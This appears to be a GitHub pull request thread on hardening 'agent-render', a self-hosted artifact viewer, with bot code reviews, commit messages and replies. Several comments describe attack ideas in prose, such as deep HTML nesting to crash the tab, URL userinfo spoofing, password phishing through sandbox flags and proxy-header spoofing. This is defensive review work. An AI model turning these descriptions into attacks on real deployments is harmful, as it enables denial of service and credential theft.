assertFragmentBudget (line 118) only covers encoded.fragmentBody, the visible-length winner. markdownUrl here is built from encoded.transportFragmentBody, which is selected by percent-escaped length and can have a visible length over 8,192 — e.g. when arx3/arx4 baseBMP wins the visible surface at ≤8192 chars but its escaped form loses to a ~20k-char base64url candidate. The viewer enforces the visible budget on every fragment it opens (parseFragmentHeader in fragment.ts), so --format markdown/discord/slack can print a link that renders too-large while --format url on the same input works. Budget-check transportFragmentBody as well, or fail with a clear error.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| throw error; | ||
| } | ||
|
|
||
| const parsed: unknown = JSON.parse(contents); |
There was a problem hiding this comment.
WARNING: A malformed config file breaks every create, including pure fragment mode
readStoredConfig tolerates a missing file but not invalid JSON: a corrupt ~/.config/agent-render/config.json makes this JSON.parse throw a raw SyntaxError, and because runCreate calls resolveConfig unconditionally (cli.ts:104) before mode selection, even fragment-mode usage — which needs no config at all — fails with an opaque error that never names the offending file. Wrap the parse and rethrow with configPath in the message, matching the object-shape error two lines below.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| } | ||
| } | ||
|
|
||
| if (artifact.kind === "choices") { |
There was a problem hiding this comment.
WARNING: The new choices caps are enforced at decode time but not on this encode-side validation path
isChoiceOptionArray in schema.ts rejects more than MAX_CHOICE_OPTIONS (50) options and id/label/detail strings over MAX_CHOICE_TEXT_LENGTH (2000), so every viewer hard-rejects such an envelope as invalid-envelope. But normalizeEnvelope — documented as validating "before encode/render use", and the only validation the CLI's buildPayloadEnvelope runs — checks neither cap. agent-render create poll.json --kind choices with 51 options (or a 2001-char label) therefore exits 0 and prints a link that always renders "The decoded JSON did not match the payload envelope" (in instance mode the dead payload is even persisted). Mirror the cap checks here, alongside the duplicate-id check that was already added.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| } | ||
|
|
||
| sanitizeElementAttributes(element, tag); | ||
| sanitizeChildren(element); |
There was a problem hiding this comment.
WARNING: Unbounded recursion over attacker-controlled nesting can crash the viewer tab
sanitizeChildren recurses once per nesting level with no depth cap, and the HTML parser imposes no cap on generic element nesting. Within the 200,000-char decoded budget, <div> nesting costs 11 chars per level, so a fragment link can build a tree ~18,000 levels deep — in the range where the main-thread stack overflows with an uncaught RangeError inside the HtmlRenderer effect, before onReady runs. Availability-only (no code execution), but it violates the "fail clearly on malformed or oversized payloads before renderer mount" rule. Convert to an iterative traversal with an explicit stack, or drop subtrees past a generous depth cap.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| */ | ||
| async function isValidPassword(candidate: string): Promise<boolean> { | ||
| if (authKey === null) return true; | ||
| if (candidate.length === 0 || candidate.length > MAX_PASSWORD_LENGTH) return false; |
There was a problem hiding this comment.
WARNING: A configured password longer than 256 chars causes a silent permanent lockout
authKey is derived at startup from AGENT_RENDER_PASSWORD with no length validation, but this gate rejects every candidate longer than MAX_PASSWORD_LENGTH before scrypt runs. An operator who configures a >256-char secret (plausible for machine-generated secrets) gets a clean startup, then every correct /auth login and Bearer attempt returns 401 "Incorrect password." Given the codebase's fail-fast posture for bad config (ttl.ts throws at startup on invalid AGENT_RENDER_TTL_HOURS), validate the configured password length at startup so this fails loudly.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| throw new Error(`Instance create failed (${response.status}): ${detail || response.statusText}`); | ||
| } | ||
|
|
||
| const created = parseArtifactCreated(JSON.parse(responseText) as unknown); |
There was a problem hiding this comment.
SUGGESTION: The success-path JSON.parse is unwrapped
The error path above carefully tolerates non-JSON bodies, but a 2xx response with a non-JSON body (proxy error page, misconfigured server returning HTML with 200) throws a raw SyntaxError here instead of the clean "The agent-render instance returned an invalid create response." that parseArtifactCreated exists to produce. Wrap the parse in the same try pattern used above.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| return buildArtifact( | ||
| input, | ||
| requestedKind, | ||
| count === 1 ? baseId : `${baseId}-${count}`, |
There was a problem hiding this comment.
SUGGESTION: The uniquing suffix can collide with a literal <base>-N filename
Inputs report-2.md, a/report.md, b/report.md yield ids report-2, report, then report-2 again — the count suffix collides with the first file's real slug, so normalizeEnvelope throws "Duplicate artifact id … is not allowed in a payload bundle." even though all input filenames are distinct. It fails loudly (no corruption), but the allocator should skip ids already taken by a real slug.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| } | ||
|
|
||
| const hours = Number(value); | ||
| if (!Number.isSafeInteger(hours) || !Number.isSafeInteger(hours * 60 * 60 * 1000)) { |
There was a problem hiding this comment.
SUGGESTION: The safe-integer bound doesn't account for the Date range
The largest value passing this check yields TTL_MS up to ~9.007e15 ms, but the maximum representable Date is 8.64e15 ms. For values in between, startup validation passes, then computeExpiresAt() (new Date(Date.now() + TTL_MS)) produces an Invalid Date and throws RangeError on every artifact create/read-refresh — a generic 500 despite "valid" config. Cap against the Date range or a documented sane maximum.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| if (choicesArtifact.multi !== undefined && typeof choicesArtifact.multi !== "boolean") { | ||
| return false; | ||
| } | ||
| if (choicesArtifact.prompt !== undefined && !hasString(choicesArtifact.prompt)) { |
There was a problem hiding this comment.
SUGGESTION: prompt is not capped while option id/label/detail are
The MAX_CHOICE_TEXT_LENGTH rationale in this file (bounding the choices renderer DOM for server-injected payloads that skip the fragment budget) applies equally to prompt, which renders into that same DOM (choices-renderer.tsx) but is bounded only by the global 200k decoded-payload limit. Cap it here for consistency.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
|
|
||
| process.chdir(ROOT); | ||
|
|
||
| const bridgeDirectory = mkdtempSync(join(ROOT, ".token-bench-")); |
There was a problem hiding this comment.
SUGGESTION: The bridge temp dir is created inside the repo working tree
mkdtempSync(join(ROOT, ".token-bench-")) litters the repo root; the finally below cleans up on normal exit or build failure, but a SIGINT/hard kill leaves debris, and the pattern is not gitignored. Use os.tmpdir() instead.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
Code Review SummaryStatus: No Issues Found | Recommendation: Merge Incremental review of Verified in this increment
Files Reviewed (3 files)
Previous Review Summaries (13 snapshots, latest commit aa2d73b)Current summary above is authoritative. Previous snapshots are kept for context only. Previous review (commit aa2d73b)Status: No Issues Found | Recommendation: Merge Incremental review of Resolved / reinforced in this increment
Files Reviewed (7 files)
Previous review (commit e0c5f47)Status: No Issues Found | Recommendation: Merge Incremental review of Resolved in this increment
Files Reviewed (3 files)
Previous review (commit 17c4056)Status: 1 Issue Found | Recommendation: Address before merge Incremental review of Overview
Issue Details (click to expand)WARNING
Resolved in this increment
Verified clean: the new Files Reviewed (14 files)
Fix these issues in Kilo Cloud Previous review (commit 3025aa3)Status: 2 Issues Found | Recommendation: Address before merge Incremental review of Overview
Issue Details (click to expand)WARNING
SUGGESTION
Resolved in this increment: the markdown/discord URL surface is now budget-checked when those formats are emitted ( Verified clean: the paired URL/token layer resolution in Fix these issues in Kilo Cloud Files Reviewed (11 files)
Previous review (commit 1249900)Status: 1 Issue Found | Recommendation: Address before merge Incremental review of Overview
Issue Details (click to expand)WARNING
Verified clean: the Fix these issues in Kilo Cloud Files Reviewed (8 files)
Previous review (commit 0505f46)Status: No Issues Found | Recommendation: Merge Incremental review of
No code changes in this increment; nothing else to re-verify. Files Reviewed (2 files)
Previous review (commit 2b42171)Status: No Issues Found | Recommendation: Merge Incremental review of
Note: tests were not executed in this read-only review; the assertions were verified statically against the sanitizer allowlist. Files Reviewed (2 files)
Previous review (commit b293a73)Status: No Issues Found | Recommendation: Merge Incremental review of
Assumption noted: the regenerated "Review checklist" sample hash in Files Reviewed (28 files)
Previous review (commit 5d64c29)Status: No Issues Found | Recommendation: Merge Incremental review of Files Reviewed (2 files)
Previous review (commit d0b1d4e)Status: No Issues Found | Recommendation: Merge Incremental review of Files Reviewed (2 files)
Previous review (commit 7ef67e9)Status: No Issues Found | Recommendation: Merge Incremental review of Files Reviewed (2 files)
Previous review (commit a044cc9)Status: 1 Issue Found | Recommendation: Address before merge Incremental review of Overview
Issue Details (click to expand)SUGGESTION
Files Reviewed (21 files)
Fix these issues in Kilo Cloud Previous review (commit 8a6e055)Status: 17 Issues Found | Recommendation: Address before merge Overview
Issue Details (click to expand)WARNING
[Snapshot truncated.] Additional previous summary content was truncated to keep this comment within platform limits. Reviewed by glm-5.2-short · Input: 24.2K · Output: 2K · Cached: 154.9K |
- handleArtifactSelect set the new artifact id synchronously but cleared trust only after the awaited re-encode, so selecting an html artifact in a server-injected bundle rendered it verbatim during that window, and permanently if the encode rejected. Trust now drops synchronously, matching the invariant the surrounding comment already claimed. - sanitizeChildren recursed once per nesting level. The HTML parser caps nothing, so a fragment within the decoded budget could describe a tree thousands of levels deep and overflow the main-thread stack with an uncaught RangeError before the renderer mounted. It is iterative now, with nesting past MAX_KIT_HTML_DEPTH dropped. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- A password longer than the per-request candidate bound started cleanly and then rejected every correct login. Startup now rejects it, matching the fail-fast posture already used for AGENT_RENDER_TTL_HOURS. - The auth cookie token was derived from the password-derived key. It is independent random bytes now: the cookie is a bearer credential in its own right, so deriving it bought nothing and only widened the secret's exposure. This also clears the repeated CodeQL password-hashing alert, since the password now only ever reaches scrypt. - AGENT_RENDER_TTL_HOURS accepted safe-integer hours beyond the maximum representable Date, which passed startup and then made every expiry an Invalid Date. Bounded to 100 years. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- The choices caps existed only in decode validation, so the CLI (which validates via normalizeEnvelope) would mint a link every viewer then rejected as invalid-envelope. Mirrored into normalizeEnvelope, and the prompt is now capped alongside option text. - CLI: a corrupt config file threw a bare SyntaxError that named nothing, and it broke fragment mode which needs no config at all; config writes left an existing file's loose permissions intact while storing a bearer token; the markdown/discord link surface is a different candidate from the url surface and was never budget-checked; a 2xx with a non-JSON body threw a raw SyntaxError; the id uniquing suffix could collide with a later file whose own name slugified to that suffix. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The Secure cookie is conditional on TLS, the TTL default is seven days, and there are seven artifact kinds; several docs still asserted the old contract, in some cases contradicting another paragraph in the same section. Also documents the choices and HTML nesting caps, and ignores the token bench's esbuild bridge directory. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
Second review round addressed (Kilo's 17 findings, plus repeat CodeQL). Four commits, Real bugs
CodeQL: the auth cookie token is now independent Docs de-contradicted: conditional Note on repeats: Greptile's "Secure cookie blocks HTTP login" has now been posted three times against shas that already contain the conditional fix ( |
There was a problem hiding this comment.
Actionable comments posted: 5
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
public/openapi/selfhosted-artifacts.yaml (1)
24-25: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick winMark authentication as optional in the OpenAPI contract.
The server permits anonymous access when
AGENT_RENDER_PASSWORDis absent or empty. Asecurityrequirement containing onlybearerAuthdeclares authentication as mandatory. Generated clients and API tools will therefore model the open deployment incorrectly.
public/openapi/selfhosted-artifacts.yaml#L24-L25: declare anonymous access as an alternative.public/openapi/selfhosted-artifacts.yaml#L69-L70: declare anonymous access as an alternative.public/openapi/selfhosted-artifacts.yaml#L93-L94: declare anonymous access as an alternative.public/openapi/selfhosted-artifacts.yaml#L136-L137: declare anonymous access as an alternative.public/openapi/selfhosted-artifacts.yaml#L164-L165: declare anonymous access as an alternative.Proposed contract form
security: + - {} - bearerAuth: []🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@public/openapi/selfhosted-artifacts.yaml` around lines 24 - 25, Update the security declarations in public/openapi/selfhosted-artifacts.yaml at lines 24-25, 69-70, 93-94, 136-137, and 164-165 to include an empty security alternative alongside bearerAuth, expressing that both authenticated and anonymous access are allowed.skills/selfhosted-agent-render/SKILL.md (1)
328-328: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winState that an empty password disables built-in authentication.
The implementation treats an empty
AGENT_RENDER_PASSWORDas unset, but this documentation only describes the unset case. A deployment that setsAGENT_RENDER_PASSWORD=can remain publicly writable and readable while appearing configured. Update both statements to say “unset or empty.”Also applies to: 369-380
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@skills/selfhosted-agent-render/SKILL.md` at line 328, Update the authentication documentation in the overview and configuration sections to state that AGENT_RENDER_PASSWORD being unset or empty disables the built-in shared-secret authentication fallback. Ensure both statements consistently use “unset or empty” and warn that the service remains publicly readable and writable in that state.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@docs/design/coding-agent-surfaces.md`:
- Around line 29-36: Add the bash language identifier to the fenced command
block containing the agent-render create usage in the documentation, without
changing the command content.
- Around line 30-44: Update the agent-render CLI synopsis to include html and
choices in the --kind options, and add the --json flag alongside the other
options. Remove the statement that html and choices support is deferred, while
preserving the existing behavior descriptions.
- Line 14: Update the rich-artifacts guidance near the premade design kit
description to replace the broad “shipped Tailwind styles” claim with an
explicit requirement that agents use only the pinned utility subset listed in
docs/design-kit.md, while preserving the existing structure-and-content
authoring guidance.
- Line 51: Update the cookie behavior description near the GET /:uuid flow to
state that the HttpOnly, SameSite=Lax cookie is marked Secure only when the
request uses HTTPS; clarify that HTTP local deployments do not receive the
Secure attribute.
In `@skills/selfhosted-agent-render/SKILL.md`:
- Around line 261-289: Update the Kit HTML and Choices documentation to state
that their payloads support only the arx, deflate, lz, and plain codecs. Direct
agents to use automatic codec selection or explicitly choose one of those four
codecs, and distinguish this restriction from the later general pipeline
discussion mentioning arx2 and arx3.
---
Outside diff comments:
In `@public/openapi/selfhosted-artifacts.yaml`:
- Around line 24-25: Update the security declarations in
public/openapi/selfhosted-artifacts.yaml at lines 24-25, 69-70, 93-94, 136-137,
and 164-165 to include an empty security alternative alongside bearerAuth,
expressing that both authenticated and anonymous access are allowed.
In `@skills/selfhosted-agent-render/SKILL.md`:
- Line 328: Update the authentication documentation in the overview and
configuration sections to state that AGENT_RENDER_PASSWORD being unset or empty
disables the built-in shared-secret authentication fallback. Ensure both
statements consistently use “unset or empty” and warn that the service remains
publicly readable and writable in that state.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: b1840c6c-6c85-4c82-b933-e8c24ffbc640
📒 Files selected for processing (28)
.github/workflows/ci.yml.gitignoreREADME.mdcli/src/cli.tscli/src/config.tscli/src/encoding.tscli/src/envelope.tscli/src/instance.tscli/tests/envelope.test.tscli/tests/fragment.test.tsdocs/architecture.mddocs/deployment.mddocs/design-kit.mddocs/design/coding-agent-surfaces.mddocs/payload-format.mdpublic/openapi/selfhosted-artifacts.yamlselfhosted/server.tsselfhosted/ttl.tsskills/agent-render-linking/SKILL.mdskills/selfhosted-agent-render/SKILL.mdsrc/components/renderers/html-renderer.tsxsrc/components/viewer-shell.tsxsrc/lib/html/sanitize-kit-html.tssrc/lib/payload/envelope.tssrc/lib/payload/schema.tstests/payload-new-kinds.test.tstests/sanitize-kit-html.test.tstests/selfhosted/auth.test.ts
🚧 Files skipped from review as they are similar to previous changes (13)
- cli/tests/fragment.test.ts
- docs/payload-format.md
- docs/architecture.md
- src/lib/payload/envelope.ts
- cli/src/instance.ts
- docs/deployment.md
- src/components/viewer-shell.tsx
- cli/src/cli.ts
- selfhosted/ttl.ts
- cli/src/envelope.ts
- src/lib/payload/schema.ts
- cli/src/config.ts
- selfhosted/server.ts
| 1. No public hosted UUID instance. Self-hosting is the primary mode for this surface and gets pushed much harder in docs. The public fragment site is for super small artifacts only. | ||
| 2. A CLI is the programmatic interface. No subagent pattern: the payload never enters any agent's context. | ||
| 3. New `choices` (MCQ) artifact kind is presentational only. The user replies to the agent directly in chat; no callback channel. | ||
| 4. Rich artifacts use a premade design kit shipped in the viewer. Agents author restricted HTML with kit classes; they supply structure and content, never design. Kit ships the basics; agents compose anything exotic from the shipped Tailwind styles. |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
Limit the Tailwind claim to the shipped utility subset.
docs/design-kit.md defines a pinned utility subset. The phrase “compose anything exotic from the shipped Tailwind styles” can cause agents to emit unsupported classes. State that agents must use the listed subset.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@docs/design/coding-agent-surfaces.md` at line 14, Update the rich-artifacts
guidance near the premade design kit description to replace the broad “shipped
Tailwind styles” claim with an explicit requirement that agents use only the
pinned utility subset listed in docs/design-kit.md, while preserving the
existing structure-and-content authoring guidance.
| ``` | ||
| agent-render create [files...] | ||
| --kind auto|markdown|code|diff|csv|json (auto by extension/content; per-file override via file=kind) | ||
| --title <t> bundle title | ||
| --mode auto|instance|fragment | ||
| --format url|markdown|discord|slack|plain | ||
| --stdin read one artifact from stdin | ||
| ``` |
There was a problem hiding this comment.
📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win
Add a language tag to the fenced command block.
The command block at Line 29 has no language identifier. Add bash to satisfy markdownlint MD040.
🧰 Tools
🪛 markdownlint-cli2 (0.23.1)
[warning] 29-29: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@docs/design/coding-agent-surfaces.md` around lines 29 - 36, Add the bash
language identifier to the fenced command block containing the agent-render
create usage in the documentation, without changing the command content.
Source: Linters/SAST tools
| agent-render create [files...] | ||
| --kind auto|markdown|code|diff|csv|json (auto by extension/content; per-file override via file=kind) | ||
| --title <t> bundle title | ||
| --mode auto|instance|fragment | ||
| --format url|markdown|discord|slack|plain | ||
| --stdin read one artifact from stdin | ||
| ``` | ||
|
|
||
| Behavior: | ||
| - `--mode auto` (default): if an instance is configured, POST to `/api/artifacts` and print the UUID URL; otherwise encode a fragment locally using the full codec ladder including arx4 (reuse `src/lib/payload/*`, do not reimplement). | ||
| - Config resolution, industry standard: flags > env (`AGENT_RENDER_INSTANCE_URL`, `AGENT_RENDER_TOKEN`) > config file (`~/.config/agent-render/config.json`, XDG-respecting). `agent-render config set <key> <value>` writes it. | ||
| - Output: URL on stdout (or formatted link per `--format`), diagnostics on stderr, non-zero exit on failure. `--json` emits `{url, mode, bytes, warning}`. | ||
| - Auth: send `Authorization: Bearer <token>` when configured (the password-fallback server accepts the password as token). | ||
| - Multiple files become one multi-artifact bundle. | ||
| - New kinds (`html`, `choices`) get CLI support once lane C/D lands; do not block on them. |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
Update the CLI synopsis for shipped artifact kinds.
The synopsis omits html and choices, and Line 44 says support is deferred. Add both kinds to --kind and remove the deferred caveat. Also list --json, which is described at Line 41.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@docs/design/coding-agent-surfaces.md` around lines 30 - 44, Update the
agent-render CLI synopsis to include html and choices in the --kind options, and
add the --json flag alongside the other options. Remove the statement that html
and choices support is deferred, while preserving the existing behavior
descriptions.
| - TTL: default 7 days sliding (was 24h), configurable via `AGENT_RENDER_TTL_HOURS`. | ||
| - Optional password gate, enabled by setting `AGENT_RENDER_PASSWORD`: | ||
| - Writes (POST/PUT/DELETE) require `Authorization: Bearer <password>` or a valid auth cookie. | ||
| - Reads (`GET /:uuid`) without a valid cookie get a minimal password page; correct entry sets an HttpOnly, Secure, SameSite=Lax cookie (hash-based, not the raw password) and reloads. Once per device. |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win
Document the conditional Secure cookie behavior.
The implementation sets Secure only for HTTPS requests. State this condition so HTTP local deployments are not documented as always receiving a Secure cookie.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@docs/design/coding-agent-surfaces.md` at line 51, Update the cookie behavior
description near the GET /:uuid flow to state that the HttpOnly, SameSite=Lax
cookie is marked Secure only when the request uses HTTPS; clarify that HTTP
local deployments do not receive the Secure attribute.
| - TTL: default 7 days sliding (was 24h), configurable via `AGENT_RENDER_TTL_HOURS`. | ||
| - Optional password gate, enabled by setting `AGENT_RENDER_PASSWORD`: | ||
| - Writes (POST/PUT/DELETE) require `Authorization: Bearer <password>` or a valid auth cookie. | ||
| - Reads (`GET /:uuid`) without a valid cookie get a minimal password page; correct entry sets an HttpOnly, Secure, SameSite=Lax cookie (hash-based, not the raw password) and reloads. Once per device. |
There was a problem hiding this comment.
SUGGESTION: Stale cookie description contradicts the behavior shipped (and re-documented) in this same commit
This bullet still claims the /auth cookie is unconditionally Secure and "hash-based, not the raw password". The code in this PR makes Secure TLS-conditional (AGENT_RENDER_TRUST_PROXY handling), and authCookieToken is now an independent random token — the new comment in selfhosted/server.ts explicitly says "not a function of the password". docs/deployment.md and skills/selfhosted-agent-render/SKILL.md were updated in this commit for exactly this wording; the design doc should match.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
Planning and design notes for this effort live in docs/design/ and are working documents, not part of the published repo. Ignore the directory so a broad add can never sweep one into a commit. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The tuple codecs (arx2/arx3/arx4) use a pinned wire format whose kind table predates html and choices, so automatic selection already skips them. Two paths could still request one explicitly: - the self-hosted skill documented the general arx2/arx3 pipeline with no mention of the restriction, so an agent could hand-roll a payload the server stores happily and the viewer then cannot decode - the browser link creator offered every codec for an html draft, where an explicit tuple choice yields no candidates at all Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
Third round. Two changes plus one cleanup;
CI on the previous head was green across the board (Build, test, CodeQL, Greptile, CodeRabbit, Kilo, Cloudflare Pages). |
|
Tip For best results, initiate chat on the files or code changes.
I will disregard review comments for the removed 🐇 ✅ ✏️ Learnings added
If you found this review helpful, would you consider giving us a shout-out on X? Thank you for using CodeRabbit! You are interacting with an AI system. |
d0b1d4e to
5d64c29
Compare
agent-render has no channel back from the viewer, so a decision list was never data: it was presentation, and it did not need its own kind. As a kind it also could not sit next to the context a real decision needs (prose, a table, a diff), since one artifact holds one kind; offering options alongside findings meant a multi-artifact bundle splitting a single thought across tabs. Against that it cost permanent protocol surface: schema type and guard, packed wire format, tuple-codec exclusion, renderer, icon, download filename, validation in two places (which had already drifted once), four docs files and tests. Measured before removing: the kind encoded ~35 tokens smaller than equivalent kit markup on a five-option list, because the repeated class strings compress away. Not worth the surface. Decision lists are now the ar-choices kit component: an <ol> whose items carry data-ar-id, rendered as a badge by CSS, with a nested <small> for detail. Agents compose them inline with whatever else the reader needs. Also runs the cli workspace tests in "npm run check" -- they were outside the gate, so two stale cli tests failed without failing the gate. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
cc40b27 to
b293a73
Compare
|
Removed the There is no channel back from the viewer, so a decision list was never data — it was presentation. As a kind it also couldn't sit next to the context a real decision needs (prose, a table, a diff), since one artifact holds one kind, so offering options alongside findings meant a multi-artifact bundle splitting one thought across tabs. Against that it carried permanent protocol surface: schema type and guard, packed wire format, tuple-codec exclusion, renderer, icon, download filename, validation in two places (which had already drifted once in this PR), four docs files, and tests. Measured before removing, since compactness was the one real argument for it: the kind encoded ~35 tokens smaller than equivalent kit markup on a five-option list (287 vs 322 o200k tokens). The repeated class strings compress away, so the saving didn't justify the surface. The component is terse by design — the id badge is generated from the attribute, so each option is one short line: <p>Five follow-ups. Reply with the ids you want, e.g. <code>do a, c, e</code>.</p>
<ol class="ar-choices">
<li data-ar-id="a">Fix the TTL off-by-one<small>Sweeper deletes an hour early.</small></li>
<li data-ar-id="b">Document the auth header</li>
</ol>Net -520 lines. Also fixed a gap this surfaced: |
The empty state still advertised seven renderers and "choice lists" after the choices kind became a kit component; there are six kinds now. Adds a sanitizer test for the documented ar-choices markup. The id badge is generated from data-ar-id by CSS, so a future allowlist change that dropped that attribute would silently remove the very option ids the reader is told to reply with, with nothing else failing. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
There was a problem hiding this comment.
Actionable comments posted: 1
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
tests/e2e/helpers.ts (1)
40-40: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winMatch both HTML renderer test IDs.
waitForRendererReady(page, "html")only matchesrenderer-html. The trusted HTML renderer emitsrenderer-html-trusted, so self-hosted trusted HTML tests will time out after the viewer shell becomes ready. Match both selectors.Proposed fix
- html: "[data-testid='renderer-html'][data-renderer-ready='true']", + html: "[data-testid='renderer-html'][data-renderer-ready='true'], [data-testid='renderer-html-trusted'][data-renderer-ready='true']",🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@tests/e2e/helpers.ts` at line 40, Update the HTML selector used by waitForRendererReady to match both renderer-html and renderer-html-trusted test IDs, while preserving the existing renderer-ready attribute requirement and behavior for other renderer types.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@skills/agent-render-linking/SKILL.md`:
- Around line 189-194: Update the follow-up prompt in the rendered HTML to
reference only defined option IDs: change “do a, c, e” to “do a, b” while
preserving the existing options and markup.
---
Outside diff comments:
In `@tests/e2e/helpers.ts`:
- Line 40: Update the HTML selector used by waitForRendererReady to match both
renderer-html and renderer-html-trusted test IDs, while preserving the existing
renderer-ready attribute requirement and behavior for other renderer types.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: df0b15f3-f22e-41e8-a83b-04286723978e
📒 Files selected for processing (29)
.gitignoreREADME.mdcli/src/cli.tscli/src/envelope.tscli/tests/envelope.test.tsdocs/architecture.mddocs/deployment.mddocs/design-kit.mddocs/payload-format.mdpackage.jsonskills/agent-render-linking/SKILL.mdskills/selfhosted-agent-render/SKILL.mdsrc/app/kit.csssrc/components/artifact-kind-icons.tssrc/components/home/link-creator.tsxsrc/components/home/sample-link-data.tssrc/components/viewer-shell.tsxsrc/components/viewer/artifact-stage.tsxsrc/lib/payload/arx-codec.tssrc/lib/payload/arx4-codec.tssrc/lib/payload/examples.tssrc/lib/payload/fragment-arx.tssrc/lib/payload/schema.tssrc/lib/payload/wire-format.tstests/arx4-codec.test.tstests/components/artifact-selector.test.tsxtests/e2e/helpers.tstests/payload-new-kinds.test.tstests/sanitize-kit-html.test.ts
💤 Files with no reviewable changes (2)
- cli/tests/envelope.test.ts
- src/components/viewer/artifact-stage.tsx
🚧 Files skipped from review as they are similar to previous changes (14)
- .gitignore
- src/lib/payload/arx4-codec.ts
- src/lib/payload/arx-codec.ts
- tests/arx4-codec.test.ts
- tests/components/artifact-selector.test.tsx
- src/components/home/sample-link-data.ts
- tests/sanitize-kit-html.test.ts
- docs/deployment.md
- src/app/kit.css
- docs/architecture.md
- src/lib/payload/examples.ts
- cli/src/cli.ts
- src/lib/payload/fragment-arx.ts
- package.json
The example told the reader to answer "do a, c, e" over a list that defines only a and b, and called two options five. An agent copying the pattern would tell users to pick ids that are not on screen. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
An adversarial recheck found three regressions in the previous round of hardening, two of which that round introduced: - The trusted iframe was granted allow-popups, allow-forms and allow-modals alongside allow-scripts. An opaque origin stops a payload reading the operator's secrets but not asking for them: prompt() or a lookalike sign-in form posting off-origin harvests the shared password just as well. It gets allow-scripts and nothing else now. - isSecureRequest took the leftmost X-Forwarded-Proto value. A proxy that appends rather than overwrites lets a client prepend "http" and clear the Secure flag. Only a single unambiguous value is trusted now; a comma-separated chain falls back to the real socket. - isSafeHref was a scheme prefix test, so userinfo (the apple.com@evil display spoof) and embedded tabs or newlines passed. It parses the URL and checks the resolved protocol, host and credentials now. Also collects adopted nodes into a fragment instead of spreading them into replaceChildren, where a wide-but-shallow tree could exceed the engine's argument limit. Two of the reported href bypasses did not reproduce: https:example.com and https:/\evil.example both normalize to ordinary https URLs, which the policy allows anyway. Test asserts that rather than pretending otherwise. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The length bound capped the cost of one credential attempt but not the aggregate: unlimited Bearer guesses each ran scrypt on the libuv threadpool (4 threads by default), so a flood starved unrelated I/O -- database reads, static files, health checks -- for every other client. Failed attempts are now counted per client address and refused with 429 before any KDF work once the budget is spent. The cookie path is unaffected, since it compares a fixed-length token rather than deriving. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
| const MAX_AUTH_ATTEMPTS_PER_WINDOW = 10; | ||
|
|
||
| function clientKey(req: IncomingMessage): string { | ||
| return req.socket.remoteAddress ?? "unknown"; |
There was a problem hiding this comment.
WARNING: Rate-limit key collapses to the proxy's address in the documented reverse-proxy deployment
